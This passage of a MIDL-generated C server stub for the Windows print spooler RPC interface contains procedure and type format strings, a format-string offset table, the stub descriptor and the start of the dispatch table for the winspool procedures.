1507 | /* 1762 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1508 | /* 1764 */ 0x8, /* FC_LONG */
1509 | 0x0, /* 0 */
1510 |
1511 | /* Procedure RpcResetPrinter */
1512 |
1513 | /* 1766 */ 0x0, /* 0 */
1514 | 0x48, /* Old Flags: */
1515 | /* 1768 */ NdrFcLong( 0x0 ), /* 0 */
1516 | /* 1772 */ NdrFcShort( 0x34 ), /* 52 */
1517 | /* 1774 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
1518 | /* 1776 */ 0x32, /* FC_BIND_PRIMITIVE */
1519 | 0x0, /* 0 */
1520 | /* 1778 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1521 | /* 1780 */ NdrFcShort( 0x0 ), /* 0 */
1522 | /* 1782 */ NdrFcShort( 0x8 ), /* 8 */
1523 | /* 1784 */ 0x44, /* Oi2 Flags: has return, has ext, */
1524 | 0x1, /* 1 */
1525 | /* 1786 */ 0x8, /* 8 */
1526 | 0x1, /* Ext Flags: new corr desc, */
1527 | /* 1788 */ NdrFcShort( 0x0 ), /* 0 */
1528 | /* 1790 */ NdrFcShort( 0x0 ), /* 0 */
1529 | /* 1792 */ NdrFcShort( 0x0 ), /* 0 */
1530 |
1531 | /* Return value */
1532 |
1533 | /* 1794 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1534 | /* 1796 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1535 | /* 1798 */ 0x8, /* FC_LONG */
1536 | 0x0, /* 0 */
1537 |
1538 | /* Procedure RpcGetPrinterDriver2 */
1539 |
1540 | /* 1800 */ 0x0, /* 0 */
1541 | 0x48, /* Old Flags: */
1542 | /* 1802 */ NdrFcLong( 0x0 ), /* 0 */
1543 | /* 1806 */ NdrFcShort( 0x35 ), /* 53 */
1544 | /* 1808 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
1545 | /* 1810 */ 0x32, /* FC_BIND_PRIMITIVE */
1546 | 0x0, /* 0 */
1547 | /* 1812 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1548 | /* 1814 */ NdrFcShort( 0x0 ), /* 0 */
1549 | /* 1816 */ NdrFcShort( 0x8 ), /* 8 */
1550 | /* 1818 */ 0x44, /* Oi2 Flags: has return, has ext, */
1551 | 0x1, /* 1 */
1552 | /* 1820 */ 0x8, /* 8 */
1553 | 0x1, /* Ext Flags: new corr desc, */
1554 | /* 1822 */ NdrFcShort( 0x0 ), /* 0 */
1555 | /* 1824 */ NdrFcShort( 0x0 ), /* 0 */
1556 | /* 1826 */ NdrFcShort( 0x0 ), /* 0 */
1557 |
1558 | /* Return value */
1559 |
1560 | /* 1828 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1561 | /* 1830 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1562 | /* 1832 */ 0x8, /* FC_LONG */
1563 | 0x0, /* 0 */
1564 |
1565 | /* Procedure Opnum54NotUsedOnWire */
1566 |
1567 | /* 1834 */ 0x0, /* 0 */
1568 | 0x48, /* Old Flags: */
1569 | /* 1836 */ NdrFcLong( 0x0 ), /* 0 */
1570 | /* 1840 */ NdrFcShort( 0x36 ), /* 54 */
1571 | /* 1842 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1572 | /* 1844 */ 0x32, /* FC_BIND_PRIMITIVE */
1573 | 0x0, /* 0 */
1574 | /* 1846 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1575 | /* 1848 */ NdrFcShort( 0x0 ), /* 0 */
1576 | /* 1850 */ NdrFcShort( 0x0 ), /* 0 */
1577 | /* 1852 */ 0x40, /* Oi2 Flags: has ext, */
1578 | 0x0, /* 0 */
1579 | /* 1854 */ 0x8, /* 8 */
1580 | 0x1, /* Ext Flags: new corr desc, */
1581 | /* 1856 */ NdrFcShort( 0x0 ), /* 0 */
1582 | /* 1858 */ NdrFcShort( 0x0 ), /* 0 */
1583 | /* 1860 */ NdrFcShort( 0x0 ), /* 0 */
1584 |
1585 | /* Procedure Opnum55NotUsedOnWire */
1586 |
1587 | /* 1862 */ 0x0, /* 0 */
1588 | 0x48, /* Old Flags: */
1589 | /* 1864 */ NdrFcLong( 0x0 ), /* 0 */
1590 | /* 1868 */ NdrFcShort( 0x37 ), /* 55 */
1591 | /* 1870 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1592 | /* 1872 */ 0x32, /* FC_BIND_PRIMITIVE */
1593 | 0x0, /* 0 */
1594 | /* 1874 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1595 | /* 1876 */ NdrFcShort( 0x0 ), /* 0 */
1596 | /* 1878 */ NdrFcShort( 0x0 ), /* 0 */
1597 | /* 1880 */ 0x40, /* Oi2 Flags: has ext, */
1598 | 0x0, /* 0 */
1599 | /* 1882 */ 0x8, /* 8 */
1600 | 0x1, /* Ext Flags: new corr desc, */
1601 | /* 1884 */ NdrFcShort( 0x0 ), /* 0 */
1602 | /* 1886 */ NdrFcShort( 0x0 ), /* 0 */
1603 | /* 1888 */ NdrFcShort( 0x0 ), /* 0 */
1604 |
1605 | /* Procedure RpcFindClosePrinterChangeNotification */
1606 |
1607 | /* 1890 */ 0x0, /* 0 */
1608 | 0x48, /* Old Flags: */
1609 | /* 1892 */ NdrFcLong( 0x0 ), /* 0 */
1610 | /* 1896 */ NdrFcShort( 0x38 ), /* 56 */
1611 | /* 1898 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
1612 | /* 1900 */ 0x32, /* FC_BIND_PRIMITIVE */
1613 | 0x0, /* 0 */
1614 | /* 1902 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1615 | /* 1904 */ NdrFcShort( 0x0 ), /* 0 */
1616 | /* 1906 */ NdrFcShort( 0x8 ), /* 8 */
1617 | /* 1908 */ 0x44, /* Oi2 Flags: has return, has ext, */
1618 | 0x1, /* 1 */
1619 | /* 1910 */ 0x8, /* 8 */
1620 | 0x1, /* Ext Flags: new corr desc, */
1621 | /* 1912 */ NdrFcShort( 0x0 ), /* 0 */
1622 | /* 1914 */ NdrFcShort( 0x0 ), /* 0 */
1623 | /* 1916 */ NdrFcShort( 0x0 ), /* 0 */
1624 |
1625 | /* Return value */
1626 |
1627 | /* 1918 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1628 | /* 1920 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1629 | /* 1922 */ 0x8, /* FC_LONG */
1630 | 0x0, /* 0 */
1631 |
1632 | /* Procedure Opnum57NotUsedOnWire */
1633 |
1634 | /* 1924 */ 0x0, /* 0 */
1635 | 0x48, /* Old Flags: */
1636 | /* 1926 */ NdrFcLong( 0x0 ), /* 0 */
1637 | /* 1930 */ NdrFcShort( 0x39 ), /* 57 */
1638 | /* 1932 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1639 | /* 1934 */ 0x32, /* FC_BIND_PRIMITIVE */
1640 | 0x0, /* 0 */
1641 | /* 1936 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1642 | /* 1938 */ NdrFcShort( 0x0 ), /* 0 */
1643 | /* 1940 */ NdrFcShort( 0x0 ), /* 0 */
1644 | /* 1942 */ 0x40, /* Oi2 Flags: has ext, */
1645 | 0x0, /* 0 */
1646 | /* 1944 */ 0x8, /* 8 */
1647 | 0x1, /* Ext Flags: new corr desc, */
1648 | /* 1946 */ NdrFcShort( 0x0 ), /* 0 */
1649 | /* 1948 */ NdrFcShort( 0x0 ), /* 0 */
1650 | /* 1950 */ NdrFcShort( 0x0 ), /* 0 */
1651 |
1652 | /* Procedure RpcReplyOpenPrinter */
1653 |
1654 | /* 1952 */ 0x0, /* 0 */
1655 | 0x48, /* Old Flags: */
1656 | /* 1954 */ NdrFcLong( 0x0 ), /* 0 */
1657 | /* 1958 */ NdrFcShort( 0x3a ), /* 58 */
1658 | /* 1960 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
1659 | /* 1962 */ 0x32, /* FC_BIND_PRIMITIVE */
1660 | 0x0, /* 0 */
1661 | /* 1964 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1662 | /* 1966 */ NdrFcShort( 0x0 ), /* 0 */
1663 | /* 1968 */ NdrFcShort( 0x8 ), /* 8 */
1664 | /* 1970 */ 0x44, /* Oi2 Flags: has return, has ext, */
1665 | 0x1, /* 1 */
1666 | /* 1972 */ 0x8, /* 8 */
1667 | 0x1, /* Ext Flags: new corr desc, */
1668 | /* 1974 */ NdrFcShort( 0x0 ), /* 0 */
1669 | /* 1976 */ NdrFcShort( 0x0 ), /* 0 */
1670 | /* 1978 */ NdrFcShort( 0x0 ), /* 0 */
1671 |
1672 | /* Return value */
1673 |
1674 | /* 1980 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1675 | /* 1982 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1676 | /* 1984 */ 0x8, /* FC_LONG */
1677 | 0x0, /* 0 */
1678 |
1679 | /* Procedure RpcRouterReplyPrinter */
1680 |
1681 | /* 1986 */ 0x0, /* 0 */
1682 | 0x48, /* Old Flags: */
1683 | /* 1988 */ NdrFcLong( 0x0 ), /* 0 */
1684 | /* 1992 */ NdrFcShort( 0x3b ), /* 59 */
1685 | /* 1994 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
1686 | /* 1996 */ 0x32, /* FC_BIND_PRIMITIVE */
1687 | 0x0, /* 0 */
1688 | /* 1998 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1689 | /* 2000 */ NdrFcShort( 0x0 ), /* 0 */
1690 | /* 2002 */ NdrFcShort( 0x8 ), /* 8 */
1691 | /* 2004 */ 0x44, /* Oi2 Flags: has return, has ext, */
1692 | 0x1, /* 1 */
1693 | /* 2006 */ 0x8, /* 8 */
1694 | 0x1, /* Ext Flags: new corr desc, */
1695 | /* 2008 */ NdrFcShort( 0x0 ), /* 0 */
1696 | /* 2010 */ NdrFcShort( 0x0 ), /* 0 */
1697 | /* 2012 */ NdrFcShort( 0x0 ), /* 0 */
1698 |
1699 | /* Return value */
1700 |
1701 | /* 2014 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1702 | /* 2016 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1703 | /* 2018 */ 0x8, /* FC_LONG */
1704 | 0x0, /* 0 */
1705 |
1706 | /* Procedure RpcReplyClosePrinter */
1707 |
1708 | /* 2020 */ 0x0, /* 0 */
1709 | 0x48, /* Old Flags: */
1710 | /* 2022 */ NdrFcLong( 0x0 ), /* 0 */
1711 | /* 2026 */ NdrFcShort( 0x3c ), /* 60 */
1712 | /* 2028 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
1713 | /* 2030 */ 0x32, /* FC_BIND_PRIMITIVE */
1714 | 0x0, /* 0 */
1715 | /* 2032 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1716 | /* 2034 */ NdrFcShort( 0x0 ), /* 0 */
1717 | /* 2036 */ NdrFcShort( 0x8 ), /* 8 */
1718 | /* 2038 */ 0x44, /* Oi2 Flags: has return, has ext, */
1719 | 0x1, /* 1 */
1720 | /* 2040 */ 0x8, /* 8 */
1721 | 0x1, /* Ext Flags: new corr desc, */
1722 | /* 2042 */ NdrFcShort( 0x0 ), /* 0 */
1723 | /* 2044 */ NdrFcShort( 0x0 ), /* 0 */
1724 | /* 2046 */ NdrFcShort( 0x0 ), /* 0 */
1725 |
1726 | /* Return value */
1727 |
1728 | /* 2048 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1729 | /* 2050 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1730 | /* 2052 */ 0x8, /* FC_LONG */
1731 | 0x0, /* 0 */
1732 |
1733 | /* Procedure RpcAddPortEx */
1734 |
1735 | /* 2054 */ 0x0, /* 0 */
1736 | 0x48, /* Old Flags: */
1737 | /* 2056 */ NdrFcLong( 0x0 ), /* 0 */
1738 | /* 2060 */ NdrFcShort( 0x3d ), /* 61 */
1739 | /* 2062 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
1740 | /* 2064 */ 0x32, /* FC_BIND_PRIMITIVE */
1741 | 0x0, /* 0 */
1742 | /* 2066 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1743 | /* 2068 */ NdrFcShort( 0x0 ), /* 0 */
1744 | /* 2070 */ NdrFcShort( 0x8 ), /* 8 */
1745 | /* 2072 */ 0x44, /* Oi2 Flags: has return, has ext, */
1746 | 0x1, /* 1 */
1747 | /* 2074 */ 0x8, /* 8 */
1748 | 0x1, /* Ext Flags: new corr desc, */
1749 | /* 2076 */ NdrFcShort( 0x0 ), /* 0 */
1750 | /* 2078 */ NdrFcShort( 0x0 ), /* 0 */
1751 | /* 2080 */ NdrFcShort( 0x0 ), /* 0 */
1752 |
1753 | /* Return value */
1754 |
1755 | /* 2082 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1756 | /* 2084 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1757 | /* 2086 */ 0x8, /* FC_LONG */
1758 | 0x0, /* 0 */
1759 |
1760 | /* Procedure RpcRemoteFindFirstPrinterChangeNotification */
1761 |
1762 | /* 2088 */ 0x0, /* 0 */
1763 | 0x48, /* Old Flags: */
1764 | /* 2090 */ NdrFcLong( 0x0 ), /* 0 */
1765 | /* 2094 */ NdrFcShort( 0x3e ), /* 62 */
1766 | /* 2096 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
1767 | /* 2098 */ 0x32, /* FC_BIND_PRIMITIVE */
1768 | 0x0, /* 0 */
1769 | /* 2100 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1770 | /* 2102 */ NdrFcShort( 0x0 ), /* 0 */
1771 | /* 2104 */ NdrFcShort( 0x8 ), /* 8 */
1772 | /* 2106 */ 0x44, /* Oi2 Flags: has return, has ext, */
1773 | 0x1, /* 1 */
1774 | /* 2108 */ 0x8, /* 8 */
1775 | 0x1, /* Ext Flags: new corr desc, */
1776 | /* 2110 */ NdrFcShort( 0x0 ), /* 0 */
1777 | /* 2112 */ NdrFcShort( 0x0 ), /* 0 */
1778 | /* 2114 */ NdrFcShort( 0x0 ), /* 0 */
1779 |
1780 | /* Return value */
1781 |
1782 | /* 2116 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1783 | /* 2118 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1784 | /* 2120 */ 0x8, /* FC_LONG */
1785 | 0x0, /* 0 */
1786 |
1787 | /* Procedure Opnum63NotUsedOnWire */
1788 |
1789 | /* 2122 */ 0x0, /* 0 */
1790 | 0x48, /* Old Flags: */
1791 | /* 2124 */ NdrFcLong( 0x0 ), /* 0 */
1792 | /* 2128 */ NdrFcShort( 0x3f ), /* 63 */
1793 | /* 2130 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1794 | /* 2132 */ 0x32, /* FC_BIND_PRIMITIVE */
1795 | 0x0, /* 0 */
1796 | /* 2134 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1797 | /* 2136 */ NdrFcShort( 0x0 ), /* 0 */
1798 | /* 2138 */ NdrFcShort( 0x0 ), /* 0 */
1799 | /* 2140 */ 0x40, /* Oi2 Flags: has ext, */
1800 | 0x0, /* 0 */
1801 | /* 2142 */ 0x8, /* 8 */
1802 | 0x1, /* Ext Flags: new corr desc, */
1803 | /* 2144 */ NdrFcShort( 0x0 ), /* 0 */
1804 | /* 2146 */ NdrFcShort( 0x0 ), /* 0 */
1805 | /* 2148 */ NdrFcShort( 0x0 ), /* 0 */
1806 |
1807 | /* Procedure Opnum64NotUsedOnWire */
1808 |
1809 | /* 2150 */ 0x0, /* 0 */
1810 | 0x48, /* Old Flags: */
1811 | /* 2152 */ NdrFcLong( 0x0 ), /* 0 */
1812 | /* 2156 */ NdrFcShort( 0x40 ), /* 64 */
1813 | /* 2158 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1814 | /* 2160 */ 0x32, /* FC_BIND_PRIMITIVE */
1815 | 0x0, /* 0 */
1816 | /* 2162 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1817 | /* 2164 */ NdrFcShort( 0x0 ), /* 0 */
1818 | /* 2166 */ NdrFcShort( 0x0 ), /* 0 */
1819 | /* 2168 */ 0x40, /* Oi2 Flags: has ext, */
1820 | 0x0, /* 0 */
1821 | /* 2170 */ 0x8, /* 8 */
1822 | 0x1, /* Ext Flags: new corr desc, */
1823 | /* 2172 */ NdrFcShort( 0x0 ), /* 0 */
1824 | /* 2174 */ NdrFcShort( 0x0 ), /* 0 */
1825 | /* 2176 */ NdrFcShort( 0x0 ), /* 0 */
1826 |
1827 | /* Procedure RpcRemoteFindFirstPrinterChangeNotificationEx */
1828 |
1829 | /* 2178 */ 0x0, /* 0 */
1830 | 0x48, /* Old Flags: */
1831 | /* 2180 */ NdrFcLong( 0x0 ), /* 0 */
1832 | /* 2184 */ NdrFcShort( 0x41 ), /* 65 */
1833 | /* 2186 */ NdrFcShort( 0x1c ), /* x86 Stack size/offset = 28 */
1834 | /* 2188 */ 0x30, /* FC_BIND_CONTEXT */
1835 | 0x40, /* Ctxt flags: in, */
1836 | /* 2190 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1837 | /* 2192 */ 0x0, /* 0 */
1838 | 0x0, /* 0 */
1839 | /* 2194 */ NdrFcShort( 0x3c ), /* 60 */
1840 | /* 2196 */ NdrFcShort( 0x8 ), /* 8 */
1841 | /* 2198 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */
1842 | 0x7, /* 7 */
1843 | /* 2200 */ 0x8, /* 8 */
1844 | 0x5, /* Ext Flags: new corr desc, srv corr check, */
1845 | /* 2202 */ NdrFcShort( 0x0 ), /* 0 */
1846 | /* 2204 */ NdrFcShort( 0x1 ), /* 1 */
1847 | /* 2206 */ NdrFcShort( 0x0 ), /* 0 */
1848 |
1849 | /* Parameter hPrinter */
1850 |
1851 | /* 2208 */ NdrFcShort( 0x8 ), /* Flags: in, */
1852 | /* 2210 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */
1853 | /* 2212 */ NdrFcShort( 0x3a ), /* Type Offset=58 */
1854 |
1855 | /* Parameter fdwFlags */
1856 |
1857 | /* 2214 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
1858 | /* 2216 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
1859 | /* 2218 */ 0x8, /* FC_LONG */
1860 | 0x0, /* 0 */
1861 |
1862 | /* Parameter fdwOptions */
1863 |
1864 | /* 2220 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
1865 | /* 2222 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
1866 | /* 2224 */ 0x8, /* FC_LONG */
1867 | 0x0, /* 0 */
1868 |
1869 | /* Parameter pszLocalMachine */
1870 |
1871 | /* 2226 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */
1872 | /* 2228 */ NdrFcShort( 0xc ), /* x86 Stack size/offset = 12 */
1873 | /* 2230 */ NdrFcShort( 0x2 ), /* Type Offset=2 */
1874 |
1875 | /* Parameter dwPrinterLocal */
1876 |
1877 | /* 2232 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
1878 | /* 2234 */ NdrFcShort( 0x10 ), /* x86 Stack size/offset = 16 */
1879 | /* 2236 */ 0x8, /* FC_LONG */
1880 | 0x0, /* 0 */
1881 |
1882 | /* Parameter pOptions */
1883 |
1884 | /* 2238 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */
1885 | /* 2240 */ NdrFcShort( 0x14 ), /* x86 Stack size/offset = 20 */
1886 | /* 2242 */ NdrFcShort( 0x3e ), /* Type Offset=62 */
1887 |
1888 | /* Return value */
1889 |
1890 | /* 2244 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1891 | /* 2246 */ NdrFcShort( 0x18 ), /* x86 Stack size/offset = 24 */
1892 | /* 2248 */ 0x8, /* FC_LONG */
1893 | 0x0, /* 0 */
1894 |
1895 | 0x0
1896 | }
1897 | };
1898 |
1899 | static const ms2Drprn_MIDL_TYPE_FORMAT_STRING ms2Drprn__MIDL_TypeFormatString =
1900 | {
1901 | 0,
1902 | {
1903 | NdrFcShort( 0x0 ), /* 0 */
1904 | /* 2 */
1905 | 0x12, 0x8, /* FC_UP [simple_pointer] */
1906 | /* 4 */
1907 | 0x25, /* FC_C_WSTRING */
1908 | 0x5c, /* FC_PAD */
1909 | /* 6 */
1910 | 0x11, 0x4, /* FC_RP [alloced_on_stack] */
1911 | /* 8 */ NdrFcShort( 0x2 ), /* Offset= 2 (10) */
1912 | /* 10 */ 0x30, /* FC_BIND_CONTEXT */
1913 | 0xa0, /* Ctxt flags: via ptr, out, */
1914 | /* 12 */ 0x0, /* 0 */
1915 | 0x0, /* 0 */
1916 | /* 14 */
1917 | 0x11, 0x0, /* FC_RP */
1918 | /* 16 */ NdrFcShort( 0xe ), /* Offset= 14 (30) */
1919 | /* 18 */
1920 | 0x1b, /* FC_CARRAY */
1921 | 0x0, /* 0 */
1922 | /* 20 */ NdrFcShort( 0x1 ), /* 1 */
1923 | /* 22 */ 0x19, /* Corr desc: field pointer, FC_ULONG */
1924 | 0x0, /* */
1925 | /* 24 */ NdrFcShort( 0x0 ), /* 0 */
1926 | /* 26 */ NdrFcShort( 0x1 ), /* Corr flags: early, */
1927 | /* 28 */ 0x1, /* FC_BYTE */
1928 | 0x5b, /* FC_END */
1929 | /* 30 */
1930 | 0x16, /* FC_PSTRUCT */
1931 | 0x3, /* 3 */
1932 | /* 32 */ NdrFcShort( 0x8 ), /* 8 */
1933 | /* 34 */
1934 | 0x4b, /* FC_PP */
1935 | 0x5c, /* FC_PAD */
1936 | /* 36 */
1937 | 0x46, /* FC_NO_REPEAT */
1938 | 0x5c, /* FC_PAD */
1939 | /* 38 */ NdrFcShort( 0x4 ), /* 4 */
1940 | /* 40 */ NdrFcShort( 0x4 ), /* 4 */
1941 | /* 42 */ 0x12, 0x20, /* FC_UP [maybenull_sizeis] */
1942 | /* 44 */ NdrFcShort( 0xffe6 ), /* Offset= -26 (18) */
1943 | /* 46 */
1944 | 0x5b, /* FC_END */
1945 |
1946 | 0x8, /* FC_LONG */
1947 | /* 48 */ 0x8, /* FC_LONG */
1948 | 0x5b, /* FC_END */
1949 | /* 50 */
1950 | 0x11, 0x4, /* FC_RP [alloced_on_stack] */
1951 | /* 52 */ NdrFcShort( 0x2 ), /* Offset= 2 (54) */
1952 | /* 54 */ 0x30, /* FC_BIND_CONTEXT */
1953 | 0xe1, /* Ctxt flags: via ptr, in, out, can't be null */
1954 | /* 56 */ 0x0, /* 0 */
1955 | 0x0, /* 0 */
1956 | /* 58 */ 0x30, /* FC_BIND_CONTEXT */
1957 | 0x41, /* Ctxt flags: in, can't be null */
1958 | /* 60 */ 0x0, /* 0 */
1959 | 0x0, /* 0 */
1960 | /* 62 */
1961 | 0x12, 0x0, /* FC_UP */
1962 | /* 64 */ NdrFcShort( 0x48 ), /* Offset= 72 (136) */
1963 | /* 66 */
1964 | 0x1b, /* FC_CARRAY */
1965 | 0x1, /* 1 */
1966 | /* 68 */ NdrFcShort( 0x2 ), /* 2 */
1967 | /* 70 */ 0x19, /* Corr desc: field pointer, FC_ULONG */
1968 | 0x0, /* */
1969 | /* 72 */ NdrFcShort( 0xc ), /* 12 */
1970 | /* 74 */ NdrFcShort( 0x1 ), /* Corr flags: early, */
1971 | /* 76 */ 0x6, /* FC_SHORT */
1972 | 0x5b, /* FC_END */
1973 | /* 78 */
1974 | 0x16, /* FC_PSTRUCT */
1975 | 0x3, /* 3 */
1976 | /* 80 */ NdrFcShort( 0x14 ), /* 20 */
1977 | /* 82 */
1978 | 0x4b, /* FC_PP */
1979 | 0x5c, /* FC_PAD */
1980 | /* 84 */
1981 | 0x46, /* FC_NO_REPEAT */
1982 | 0x5c, /* FC_PAD */
1983 | /* 86 */ NdrFcShort( 0x10 ), /* 16 */
1984 | /* 88 */ NdrFcShort( 0x10 ), /* 16 */
1985 | /* 90 */ 0x12, 0x20, /* FC_UP [maybenull_sizeis] */
1986 | /* 92 */ NdrFcShort( 0xffe6 ), /* Offset= -26 (66) */
1987 | /* 94 */
1988 | 0x5b, /* FC_END */
1989 |
1990 | 0x6, /* FC_SHORT */
1991 | /* 96 */ 0x6, /* FC_SHORT */
1992 | 0x8, /* FC_LONG */
1993 | /* 98 */ 0x8, /* FC_LONG */
1994 | 0x8, /* FC_LONG */
1995 | /* 100 */ 0x8, /* FC_LONG */
1996 | 0x5b, /* FC_END */
1997 | /* 102 */
1998 | 0x1b, /* FC_CARRAY */
1999 | 0x3, /* 3 */
2000 | /* 104 */ NdrFcShort( 0x14 ), /* 20 */
2001 | /* 106 */ 0x19, /* Corr desc: field pointer, FC_ULONG */
2002 | 0x0, /* */
2003 | /* 108 */ NdrFcShort( 0x8 ), /* 8 */
2004 | /* 110 */ NdrFcShort( 0x1 ), /* Corr flags: early, */
2005 | /* 112 */
2006 | 0x4b, /* FC_PP */
2007 | 0x5c, /* FC_PAD */
2008 | /* 114 */
2009 | 0x48, /* FC_VARIABLE_REPEAT */
2010 | 0x49, /* FC_FIXED_OFFSET */
2011 | /* 116 */ NdrFcShort( 0x14 ), /* 20 */
2012 | /* 118 */ NdrFcShort( 0x0 ), /* 0 */
2013 | /* 120 */ NdrFcShort( 0x1 ), /* 1 */
2014 | /* 122 */ NdrFcShort( 0x10 ), /* 16 */
2015 | /* 124 */ NdrFcShort( 0x10 ), /* 16 */
2016 | /* 126 */ 0x12, 0x20, /* FC_UP [maybenull_sizeis] */
2017 | /* 128 */ NdrFcShort( 0xffc2 ), /* Offset= -62 (66) */
2018 | /* 130 */
2019 | 0x5b, /* FC_END */
2020 |
2021 | 0x4c, /* FC_EMBEDDED_COMPLEX */
2022 | /* 132 */ 0x0, /* 0 */
2023 | NdrFcShort( 0xffc9 ), /* Offset= -55 (78) */
2024 | 0x5b, /* FC_END */
2025 | /* 136 */
2026 | 0x16, /* FC_PSTRUCT */
2027 | 0x3, /* 3 */
2028 | /* 138 */ NdrFcShort( 0x10 ), /* 16 */
2029 | /* 140 */
2030 | 0x4b, /* FC_PP */
2031 | 0x5c, /* FC_PAD */
2032 | /* 142 */
2033 | 0x46, /* FC_NO_REPEAT */
2034 | 0x5c, /* FC_PAD */
2035 | /* 144 */ NdrFcShort( 0xc ), /* 12 */
2036 | /* 146 */ NdrFcShort( 0xc ), /* 12 */
2037 | /* 148 */ 0x12, 0x20, /* FC_UP [maybenull_sizeis] */
2038 | /* 150 */ NdrFcShort( 0xffd0 ), /* Offset= -48 (102) */
2039 | /* 152 */
2040 | 0x5b, /* FC_END */
2041 |
2042 | 0x8, /* FC_LONG */
2043 | /* 154 */ 0x8, /* FC_LONG */
2044 | 0x8, /* FC_LONG */
2045 | /* 156 */ 0x8, /* FC_LONG */
2046 | 0x5b, /* FC_END */
2047 |
2048 | 0x0
2049 | }
2050 | };
2051 |
2052 | static const NDR_RUNDOWN RundownRoutines[] =
2053 | {
2054 | PRINTER_HANDLE_rundown
2055 | };
2056 |
2057 |
2058 | static const unsigned short winspool_FormatStringOffsetTable[] =
2059 | {
2060 | 0,
2061 | 34,
2062 | 100,
2063 | 134,
2064 | 168,
2065 | 202,
2066 | 236,
2067 | 270,
2068 | 304,
2069 | 338,
2070 | 372,
2071 | 406,
2072 | 440,
2073 | 474,
2074 | 508,
2075 | 542,
2076 | 576,
2077 | 610,
2078 | 644,
2079 | 678,
2080 | 712,
2081 | 746,
2082 | 780,
2083 | 814,
2084 | 848,
2085 | 882,
2086 | 916,
2087 | 950,
2088 | 984,
2089 | 1018,
2090 | 1060,
2091 | 1094,
2092 | 1128,
2093 | 1162,
2094 | 1196,
2095 | 1230,
2096 | 1264,
2097 | 1298,
2098 | 1326,
2099 | 1354,
2100 | 1388,
2101 | 1422,
2102 | 1456,
2103 | 1490,
2104 | 1518,
2105 | 1546,
2106 | 1574,
2107 | 1608,
2108 | 1642,
2109 | 1676,
2110 | 1704,
2111 | 1732,
2112 | 1766,
2113 | 1800,
2114 | 1834,
2115 | 1862,
2116 | 1890,
2117 | 1924,
2118 | 1952,
2119 | 1986,
2120 | 2020,
2121 | 2054,
2122 | 2088,
2123 | 2122,
2124 | 2150,
2125 | 2178
2126 | };
2127 |
2128 |
2129 | static const MIDL_STUB_DESC winspool_StubDesc =
2130 | {
2131 | (void *)& winspool___RpcServerInterface,
2132 | MIDL_user_allocate,
2133 | MIDL_user_free,
2134 | 0,
2135 | RundownRoutines,
2136 | 0,
2137 | 0,
2138 | 0,
2139 | ms2Drprn__MIDL_TypeFormatString.Format,
2140 | 1, /* -error bounds_check flag */
2141 | 0x60001, /* Ndr library version */
2142 | 0,
2143 | 0x801026e, /* MIDL Version 8.1.622 */
2144 | 0,
2145 | 0,
2146 | 0, /* notify & notify_flag routine table */
2147 | 0x1, /* MIDL flag */
2148 | 0, /* cs routines */
2149 | 0, /* proxy/server info */
2150 | 0
2151 | };
2152 |
2153 | static const RPC_DISPATCH_FUNCTION winspool_table[] =
2154 | {
2155 | NdrServerCall2,
2156 | NdrServerCall2,
2157 | NdrServerCall2,
2158 | NdrServerCall2,
2159 | NdrServerCall2,
2160 | NdrServerCall2,
2161 | NdrServerCall2,
2162 | NdrServerCall2,
